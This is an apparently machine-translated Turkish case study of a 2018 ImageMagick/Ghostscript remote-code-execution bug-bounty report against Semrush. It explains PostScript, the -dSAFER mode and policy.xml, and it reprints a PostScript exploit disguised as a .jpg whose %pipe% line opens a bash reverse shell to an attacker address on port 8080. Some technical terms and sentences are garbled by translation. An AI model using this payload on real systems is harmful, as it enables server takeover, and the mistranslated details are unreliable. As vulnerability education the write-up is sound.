Dosya yükleme güvenlik açığı türü, farklı dosya türlerinin sayısı kadar geniştir. Bu güvenlik açıkları sürekli mevcut bir güvenlik kaygısıdır. PHP dosyalarının güvensiz işlenmesinin tehlikeye girmesinin altında yatan mekanikler, uzlaşmış sistemlere nasıl yol açarken, belge dosyalarını yük aracı olarak kullanan sömürü o kadar net olmayabilir.
Siber güvenlik endüstrisinin genç üyeleri için, bu belirsizlik kısmen modern matbaaya hakim olmak için yarışın arkasındaki tarihe atfedilebilir.
Güvenlik açığı
31 Ağustos 2018’de güvenlik araştırmacısı Frans Rosén, bir dosya yükleme güvenlik açığı ile ilgili olarak Semrush programına bir rapor sundu.
Hizmet Olarak Yazılım (SaaS) sağlayıcısı olan Semrush Holdings, arama motoru optimizasyonunda (SEO) liderdir. Semrush platformu, işletmelerin çevrimiçi görünürlüklerini artırmalarına ve dijital pazarlama kampanyalarını yönetmelerine yardımcı olacak bir dizi araç sunar.
Araç setinde, pazarlama ajanslarını, yüksek derecede özelleştirilebilir PDF raporları kolayca oluşturmak için platformlar arası pazarlama verilerini toplama yeteneğiyle donatan rapor özelliği de dahildir. Bu raporlar daha sonra sağlanan değeri ve elde edilen sonuçları göstermek için müşterilere ve paydaşlara sunulabilir.
Mevcut özelleştirme seçeneklerinden biri, şirketinizin logosunu rapora yükleme yeteneğidir. Bu özelliği kolaylaştırmak için, açık kaynaklı görüntü işleme paketi ImageMagick, rapor oluşturma kontrol paneline entegre edildi.
Imagemagick ve ilgili güvenlik açıkları
Rosén başardı Uzak Kod Yürütme (RCE) bir Semrush sunucusunda ImageMagick’in takılmamış bir versiyonunun kullanıldığını keşfetti. Rosén’in raporu, biraz tarihli olmasına rağmen, belge işleme güvenlik açıklarının iç işleyişini derinlemesine anlamak için harika bir vaka çalışması görevi görüyor.
Bununla birlikte, araştırmacılar doğrudan Imagemagick’te çok sayıda hata buldular ve o zamandan beri CVES atanmış olan, bazıları aşağıda tartışılacak olandan çok daha yeni oldu:
Sayfa Açıklama Dilleri
A Sayfa Açıklama Dili (PDL), yazıcıların yorumlayabileceği komutları kullanarak bir sayfadaki metin, görüntü ve grafik düzenlemesini tanımlar. Bu dilleri kullanarak, basılı medyanın görünümü üzerinde kesin kontrol mümkündür, bu da onları profesyonel sınıf belgeleri oluşturmak için ideal hale getirir. Sayfa Açıklama Dilleri statik bir formata veya dinamik bir biçime sahiptir:
- A statik biçim İşlemler ve argümanları için sabit bir dizi komut ve kural kullanır.
- A dinamik biçim komutları genişletilebildiğinden statik muadilinden daha esnektir. Bir sayfa bu formatta şöyle açıklanmıştır. yürütülen bir programsadece yazdırılacak verilerden ziyade.
Postscript
Postscript dinamik bir format sayfası açıklama dilidir. Tamamen özellikli bir programlama dili olarak, grafik tasarım özelliklerine ek olarak-değişkenler, koşullu yürütme, döngüler, kullanıcı tanımlı prosedürler, çeşitli veri türleri, dosya girişi/çıkışı, işlevler ve etkileşimli hata ayıklama gibi özellikleri de destekler. .
Postscript’te:
- A yığın geçici olarak nesneleri depolamak için kullanılan bir bellek alanıdır. Nesneler itilmiş Yığının üzerine ve patlamış tüketildikçe kapalı. Yığın son, ilk çıkış esasına göre çalışır-yani yığın üzerine yerleştirilen son nesne ilk tüketilen olacaktır.
- Belirli eylemleri gerçekleştiren işlevler/komutlar olarak adlandırılır. operatörler.
- Dize değerleri parantezle kaplıdır: (Merhaba Dünya!)
Sözlükler Anahtar/değer çiftlerinin tablolarıdır. Bu tablolar tercümanın sanal belleğinde saklanır. İsimler ve karşılık gelen tanımları için arama tabloları olarak hizmet ederler. Üç sözlük var:
- Userdict, kullanıcı tanımlı nesneleri geçerli oturum bağlamında depolayan yazılabilir bir sözlüktir.
- GlobalDict, farklı bağlamlarda küresel olarak erişilebilen yazılabilir bir sözlüktir.
- Systemdict, önceden tanımlanmış nesneleri ve yerleşik komutları tutan salt okunur bir sözlüktir.
Tercüman bir isimle karşılaştığında, bu sözlükleri bu anahtar için arayacak – userdict ve biten Systemdict.
Postscript bir postfix dili olduğundan, işlev çağrıları sağdan sola okunur. . DEF Operatör bir anahtara bir değer bağlar. Örneğin:
/example_variable (h1) def |
H1 değerine sahip örnek_variable adlı bir değişkeni tanımlar.
Hayalet
“Postscript’i, sunucuda keyfi komutları tetiklemeye izin veren ve uzaktan kod yürütülmesine yol açan Ghostscript’i çalıştırmak için kullanabilirsiniz.”
Tıpkı diğer birçok programlama dili gibi, Postscript bir tercüman komutlarını yürütmek ve bunları eylemlere/çıktıya dönüştürmek için. PostScript’te yazılmış yürütülebilir programı kullanılarak açıklanan bir sayfa, tercümana sunulmuştur. Çıktı cihazını kontrol etmek.
Ghostscript, Imagemagick tarafından Postscript ve PDF dosyaları için kullanılan tercümandır. Imagemagick bu dosya türlerini işlediğinde, Imagemagick’in manipüle edebileceği bir formata yorumlamak ve dönüştürmek için Ghostscript’e dayanır.
Ghostscript bir komut satırı aracı olarak mevcuttur:
Yukarıdaki resimde, PostScript toplama işlemi gerçekleştirildi ve değer, yığın büyüklüğüne itildi. <1>. Stack komutunun verilmesi değeri yazdırır.
Ghostscript’te, bir cihazla etkileşimleri kontrol eden ayarlara, Cihaz parametreleri.
- .LOCKSAfetyParams Cihaz Parametresi PostScript programlarının potansiyel olarak tehlikeli ayar yapılandırmalarını değiştirebilmesini önler. Her ikisinin de boole değeri alır gerçek veya YANLIŞ. Bu parametrenin bir değeri varsa gerçek Mevcut cihaz için, bir değere sahip yeni bir cihaz ayarlama girişimleri YANLIŞ bir geçersiz hata.
- OutputFile parametresi dosya yazmak için kullanılır. Çıktı için dosya adını belirten bir dize değeri alır.
- % Boru % komutu, tercümana herhangi bir kabuk komutuyla yeni bir işlem başlatmasını söyler. .LOCKSAFETYPARAMS TRUE olarak ayarlanmışsa, geçersiz bir hata hatası karşılanır.
Rapor sırasında, Ghostscript bir isteğe bağlı -dsafer Güvenli Sandbox modu. Daha güvenli mod, dosyalardaki erişim denetimlerini, cihaz seçimi ve cihaz parametrelerini sağlar. Bu modda, cihazın .lockSafeTyparams parametresi gerçek.
-Dnosafer modunda, PostScript programlarının işletim sistemi izin koruması olmayan sistem dosyalarını okumasına, yazmasına, yeniden adlandırmasına veya silmesine izin verilir. Bu modda, cihazın .lockSafeTyparams parametresi YANLIŞ.
-Dsafer anahtarının yokluğunda, Ghostscript’ten yararlanmak, savunmasız sistemde kabuk komutlarını çalıştırmak için % boru % komutu kullanılarak kolayca elde edilebilir.
poliçe.xml
“Tavis Ormandy, son zamanlarda Policy.xml’in EPS, PS, PDF ve XPS’yi devre dışı bırakması gerektiğini belirtti, çünkü tüm bunlar Ghostscript’i tetiklemenin yolları var …”
Rosén’in raporunda, Tavis Ormandy’nin Imagemagick’teki kodlayıcılar için varsayılan yapılandırma ayarlarıyla ilgili endişelerine atıfta bulunuyor.
21 Ağustos 2018’de Google’ın Projesi Zero Güvenlik Araştırmacısı Tavis Ormandy, Ghostscript’te çeşitli güvenlik açıklarını açıkladı. Bu güvenlik açıklarından biri, Rosén tarafından ayarlanmış ve kullanılan POC’yi sağladı. Ormandy ve Ghostscript ekibi arasındaki konuşmayı okuyun.
ImageMagick, ayarları özelleştirmek, kaynakları yönetmek, performansı optimize etmek ve güvenliği artırmak için harici yapılandırma dosyalarına bağlıdır. Güvenlik ilkesinin özelleştirilmesi Politika.xml dosyasında gerçekleştirilir.
Belirli bir dosya türünün yüklemelerini engelleme yönergeleri açıkça ayarlanmazsa, dosyalar ImageMagick tarafından işlenir ve uzatma yoluyla Ghostscript’e gönderilir. O zamanlar, Imagemagick’in PostScript verileriyle sunulması durumunda PS ve EPS dosyaları oluşturmaması için böyle bir varsayılan direktif ve manuel değişiklikler gerekmedi.
İçindeki güvenli yapılandırma
Tavis Ormandy tarafından sağlanan POC:
$ *Cat Shellexec.jpeg * %! PS Userdict /setPagedevice Undef yasal {null restore} durdu {pop} yasal Mark /OutputFile (%Boru%Kimliği) CurrentDevice PutDeviceProps |
İstismar
%! PS Userdict /setPagedevice Undef yasal {null restore} durdu {pop} yasal Mark /outputfile (%boru%Bash -C ‘Bash -i> & /dev /tcp /[IP]/8080 0> & 1 ‘) CurrentDevice PutDeviceProps |
[IP] dinleme adresi için bir yer tutucudur.
Bu dosya .jpg olarak kaydedildi ve raporlarıma yüklendi.
Postscript belgelerini görüntüleyin.
Komut dosyası dökümü
- Komut dosyası, aşağıdaki içeriğin PostScript’te yazıldığını gösteren %! PS ile başlar.
- UNDEF operatörü bir sözlük girişini tamamen kaldırır – hem anahtar hem de değer. Bu, SetPagedevice komutunu kaldırmak için kullanılır. userdictcihaz ayarlarında herhangi bir değişikliğin önlenmesi.
- yasal bir userdict Sayfa boyutlarını ayarlayan operatör. SetPageVice kaldırıldığından bu bir hatayı tetikleyecektir.
- {Null restore}, sırayla hataları kontrol ederse {pop} durduruldu. Biri meydana gelirse, cihazı son kaydedilen duruma geri döndürür. Kaydet komutu çağrılmadığından ve bu nedenle geri dönecek bir durum olmadığından ve {null restore} op olmayan bir yer tutucudur (hiçbir şey yapmayın) – Komut dosyası hataları başlatıldığında tercümanın ilk durumu olduğunda geri döndürülecek durum. Bu süre hariç, SetPageEvice komutu kaldırıldığından – hiçbir güvenlik ayarı uygulanamaz. -Dsafer seçeneğini etkili bir şekilde hariç tutarak. yanlış.
- Yasal operatör, cihazı bir sayfaya ayarlamak için tekrar kullanılır.
- Bayrak ayarlandığında YANLIŞoutputfile kontrolü tetiklemez geçersiz Yetkisiz erişim denenirse hata.
- PutDeviceProps Cihaz Özellikleri Mevcut Düzenleme’de ayarlar.
- Mark PostScript operatörü, mevcut durumu yığın üzerine itmek için kullanılır. Bu, daha sonra geri yükleme operatörünü kullanarak durumu bu noktaya geri yükleyebilmeniz için programda bir noktayı işaretlemenin bir yoludur.
- CurrentDevice PutDeviceProps, parantez içindeki yeni tanımlanmış çıktı komutunu cihaza uygular.
- % boru% tercümana yeni bir işlem başlatması için talimat verir, bu durumda cihazda bir kabuk açacak olan Bash -C’yi çalıştırır. Bu kabuk içinde ‘bash -i> &/dev/tcp/komutu komutu[IP]/8080 0> & 1 ‘çalıştırılır. Bu, saldırı makinesine ters kabuk bağlantısı oluşturacaktır. > & standart çıktıyı yeniden yönlendirir (stdout) ve standart hata (STIDERR) saldırgan makinesine. 0> & 1 girişi saldırganın kabuğundan cihazdaki kabuğa yönlendirir.
Çözüm
Rosén’in çabaları bir ödül ve bonus miktarıyla sonuçlandı. Semrush ekibi ayrıca Rosén’in hizmetlerinin ücretli işlevselliğini test etmesine izin vermek için ona bir promosyon kodu verdi.
Test ederken, bir dosya yükleme güvenlik açığı ile sonuçlanabileceğinden, herhangi bir PostScript uyumlu dosya türünün izin verilip verilmediğini kontrol etmeyi sağlayın.
Kaynak
Baskı Merkezi Özellikleri – Adobe Postscript ve Adobe PDF. (nd). https://web.archive.org/web/20160413212438/https://www.adobe.com/print/features/psvspdf/
Ormandy, T. (nd). OSS-SEC: Daha Fazla Hayalet Sorunları: PS kodlayıcılarını Policy.xml’deki varsayılan olarak devre dışı bırakmalı mıyız? https://seclists.org/oss-sec/2018/q3/142
Systems, A. (1999). Postscript dil referansı, üçüncü baskı. 29 Ağustos 2024, https://www.adobe.com/jp/print/postscript/pdfs/plrm.pdf adresinden erişildi.
CERT/CC Güvenlik Açığı Not VU#332928. (nd). https://www.kb.cert.org/vuls/id/332928